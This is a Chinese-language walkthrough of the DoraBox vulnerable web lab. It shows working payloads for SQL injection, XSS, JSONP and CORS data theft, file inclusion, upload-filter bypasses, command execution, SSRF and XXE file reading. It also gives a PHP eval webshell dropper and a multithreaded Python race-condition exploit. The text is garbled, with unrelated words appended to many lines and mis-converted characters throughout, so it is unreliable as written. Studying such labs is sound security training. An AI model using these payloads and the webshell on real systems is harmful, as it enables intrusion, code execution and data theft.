項目地址:javascript
https://github.com/gh0stkey/DoraBoxphp
判斷表中有多少列html
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=1%20order%20by%201&submit=submit前端
依次增大order by 後面的值,直到報錯,報錯的前一個數爲字段數java
能夠肯定union注入的字段爲3,此時咱們構造注入語句nginx
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,2,3&submit=submitgit
能夠看到2,3列是顯示出來的,因此在這兩處插入注入語句github
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,concat(user(),%27|%27,database()),3&submit=submitweb
肯定數據庫爲pentest之後,去暴出表名正則表達式
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()&submit=submit
肯定表名之後,去暴出列名
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27account%27&submit=submit
根據以前的列名和表名,可構造查詢字段內容
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION SELECT 1,2,concat_ws('|',id,rest,own) from account&submit=submit
字符型與數字型的區別在於變量是否用單引號包裹,當不閉合單引號時,沒有查詢結果。
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox%20and%201=1&submit=submit
閉合單引號,成功執行插入的語句
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='1&submit=submit
接下來的操做,與數字型相同,只須要記得須要閉合單引號
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='2' union select 1,2,3'&submit=submit
剩下的與數字型相同
搜索型同時包含單引號和百分號,都須要閉合
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%27%20and%20%271%27=%271&submit=submit
這裏引入了註釋符,避免受到後面%‘影響
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=1--+&submit=submit
構造顯示顯性字段
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,2,3--+&submit=submit
接下來,如同前兩種同樣,暴出數據信息。
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,concat_ws('|',id,title,content),3 from news--+&submit=submit
xss反射型,輸入的代碼通過服務器端處理後返回頁面,形成代碼執行。
http://127.0.0.1/DoraBox/xss/reflect_xss.php?name=%3Cscript%3Ealert(/reflect_xss/)%3C/script%3E&submit=submit
這時候咱們注意到頁面先是返回了string(37) 「 而後執行了注入代碼。
那麼爲何會返回這個呢,咱們看下源碼
DoraBox\xxs\reflect_xss.php
下面說一下個人理解,$p 建立了一個對象Func,方法是GET,參數是name,$p -> con_html生成表單,也就是咱們一開始看到的頁面。
關鍵的是echo $p -> con_function('var_dump',$name);,這裏con_function是做者造的回調函數,做用是執行做者傳參進去的內容,當相應的函數執行。
那麼con_function('var_dump',$name) 的做用等價於var_dump($name),var_dump在處理字符串的時候會以以下形式string(字符串長度) "字符串內容"。
DoraBox\class\function.class.php
存儲型xss做者設計的頗有意思,採用直接向當前頁面追加內容的方式實現的,也就是說,若是你測試不少次的話,這個頁面會愈來愈大。
因此在name輸入框提交<script>alert(/reflect_xss/)</script>,再次刷新頁面便可觸發注入代碼。
根據上面得分析,能理解這段代碼執行了file_put_contents(__FILE__,$name,FILE_APPEND)採用追加的方式寫入當前頁面。
http://127.0.0.1/DoraBox/xss/dom_xss.php?name=%3Cscript%3Ealert(%2FDOM_xss%2F)%3C%2Fscript%3E&submit=submit
進行這個xss學習的時候,能夠發送,xss代碼執行後沒有在源碼顯示出來,這可能就是DOM型xss的特色
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
(^| )表明開始
( |$)表明結束
以&或者$結尾的字符串
這個正則是尋找&+url參數名字=值+&
&能夠不存在。
window.location.search.substr(1).match(reg);
(1) location是包含了相關的url的信息,它是windown的一部分。
(2) search是一個能夠查詢的屬性,能夠查詢?以後的部分。
(3) substr(1)是爲了去掉第一個?
(4) match()是你要匹配的部分 後面能夠是正則表達式。
(5) return unescpe(r[2]) 返回的值 一個數組。
(6) 這裏是開始匹配,找到了返回對應url值,沒找到返回null。
後面的document.write 實際上就是DOM的寫方法,把輸入的內容寫出來
JSONP 全稱是 JSON with Padding ,是基於 JSON 格式的爲解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 裏 <script></script> 元素標籤,遠程調用 JSON 文件來實現數據傳遞。
當某網站聽過 JSONP 的方式來跨域(通常爲子域)傳遞用戶認證後的敏感信息時,攻擊者能夠構造惡意的 JSONP 調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。
直接訪問連接,頁面返回json格式的數據。
http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test
那麼劫持後應該是能夠在其餘域下得到受害者的json信息,下面構造一個劫持頁面,將劫持的信息,alert出來
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>JSONP劫持測試</title> </head> <body> <script type="text/javascript"> function test(result) { alert(result.address); } </script> <script type="text/javascript" src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test"></script> </body> </html>
成功得到了json中的address內容
這個是做者提供的POC,在POC目錄裏面,能夠獲取所有內容
<!--jsonp.html-->
<script>function vulkey(data){alert(JSON.stringify(data));}</script> <script src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=vulkey"></script>
跨源資源共享 (CORS) 定義了在一個域中加載的客戶端 Web 應用程序與另外一個域中的資源交互的方式,須要瀏覽器和服務器共同支持才能實現。
能夠看到其源碼就是Access-Control-Allow-*系列,這個就是CORS的配置
下面就能夠構造頁面獲取信息
<!DOCTYPE html> <html> <body> div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://127.0.0.1/DoraBox/csrf/userinfo.php", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
成功獲取到了數據
若是有看源碼的習慣的話,應該能注意到做者已經準備好了一個txt.txt
代碼中使用include 直接包含的,因此能夠以前讀取
http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit
能夠成功包含執行了txt.txt的php代碼
實際上這個與上一個的區別不大,區別就在加了一個./,感受沒什麼影響
這裏我包含了phpstudy目錄裏面的phpinfo.php
http://127.0.0.1/DoraBox/file_include/include_1.php?file=../../phpinfo.php&submit=submit
第一個沒什麼可說的,任意文件上傳,隨便傳就行
前端限制後綴名,上傳jpg文件,攔包改後綴繞過
這裏能夠看到成功上傳
上傳php文件,顯示類型不正確,實際上MIME驗證就是檢測Content-type字段值的,直接更改上傳數據包中的Content-type便可繞過
修改Content-type值爲圖片的格式(image/jpeg),成功繞過
採用後端驗證後綴名的方式,這個方式有不少,可是會有環境限制,實際環境中須要進行測試使用
服務端擴展名驗證繞過方法:
一、找黑名單擴展名的漏網之魚 - 好比上面就漏掉了 asa 和 cer 之類
二、可能存在大小寫繞過漏洞 - 好比 aSp 和 pHp 之類
三、特別文件名構造 - 好比發送的 http 包裏把文件名改爲 help.asp. 或 help.asp_(下劃線爲空格),這種命名方式在 windows 系統裏是不被容許的,因此須要在 burp 之類裏進行修改, 而後繞過驗證後,會被 windows 系統自動去掉後面的點和空格。
四、IIS 或 nginx 文件名解析漏洞
好比 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php
這裏注意網上所謂的 nginx 文件名解析漏洞其實是 php-fpm 文件名解析漏洞,詳見 http://www.cnbeta.com/articles/111752.htm
五、0x00 截斷繞過 - 這個是基於一個組合邏輯漏洞形成的
六、雙擴展名解析繞過攻擊(1) - 基於 web 服務的解析邏輯
好比上傳x.php.rar等文件
七、雙擴展名解析繞過攻擊(2) - 基於 web 服務的解析方式
若是在 Apache 的 conf 裏有這樣一行配置
AddHandler php5-script .php
這時只要文件名裏包含.php
即便文件名是 test2.php.jpg 也會以 php 來執行
針對本文的代碼,最簡單的就是使用更改大小寫上傳便可,或者使用上面的多種方法測試。
本例中,我用的.asp.的方式,成功繞過上傳的
一樣
文件上傳過程當中圖像大小及相關信息檢測,一般咱們會使用getimagesize()函數,此函數會返回一個數組。
Array
(
[0] => 2573
[1] => 16188
[2] => 1
[3] => width="2573" height="16188"
[channels] => 3
[mime] => image/gif
)
使用getimagesize()函數檢測,會判斷文件是不是一個有效的圖片文件,若是不是則會報錯,咱們可使用文件頭欺騙來繞過。
利用copy命令合成一個圖片馬,上傳
也能夠直接添加圖片文件頭的方式繞過
利用assert任意代碼執行……,分明就是一個webshell呀
http://127.0.0.1/DoraBox/code_exec/code.php?code=phpinfo();&submit=submit
好了,下面我要表演本身黑本身了…
成功鏈接上了code.php
利用exec命令執行
http://127.0.0.1/DoraBox/code_exec/exec.php?command=whoami&submit=submit
有回顯,沒什麼可說的。
http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://www.baidu.com/img/bd_logo1.png&submit=submit
這裏執行一個對端口的請求,顯示計算機拒絕,能夠用了判斷端口開放
http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://127.0.0.1:6789&submit=submit
這個不太理解做者的目的,我認爲做者條件競爭的地方可能在於錢數加減這裏,可是做者這個邏輯是但願只減錢不加錢仍是什麼狀況不大理解。
一、 查看程序邏輯,查詢打印出account中,rest和own字段
二、 判斷提交的錢數是否小於擁有的錢數,小於則執行查詢完成支付交易
三、 大於則彈出支付失敗
再來看做者的POC,做者起了25個線程,一共提交50次1塊錢
運行程序後,交易正常執行,不知漏洞處在哪裏了
上傳這塊的條件競爭比較明顯,程序邏輯處理是先將文件上傳上來,而後檢查後綴,後綴不在容許列表裏,刪除文件
而競爭的地方,是先刪除仍是先執行,關鍵就在於趕在刪除以前執行上傳的文件
這是咱們上傳的內容,打開info.php 寫入一句話木馬
<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["key"]);?>'); ?>
經過併發能夠實如今上傳成功未執行到刪除代碼的時候,訪問執行,生成info.php
下面是利用做者得POC
import requests import threading import os class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = 'http://127.0.0.1/DoraBox/race_condition/uploads/key.php' #上傳的文件地址 self.uploadUrl = 'http://127.0.0.1/DoraBox/race_condition/upload.php' #上傳文件的地址 def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print('[*] create file info.php success.') os._exit(0) def _upload(self): print('upload file...') file = {'myfile': open('key.php', 'r')} #本地腳本木馬 requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(10): self._upload() self._get() if __name__ == '__main__': threads = 50 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()
與文件包含的不一樣在於這個不能執行,只能讀取內容
http://127.0.0.1/DoraBox/others/file_read.php?filename=..%2Frace_condition%2Fkey.php&submit=submit
xxe的原理老是整不明白,就知道是經過引入外部實體來進行腳本執行和文件讀取
問題出在對xml的解析上面,我利用以前積累的代碼測試幾回都不成功--!
後來我看到原做者的操做,成功復現了,可是原理方面還須要在理解理解
<!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <user><username>&xxe;</username><password>admin</password></user>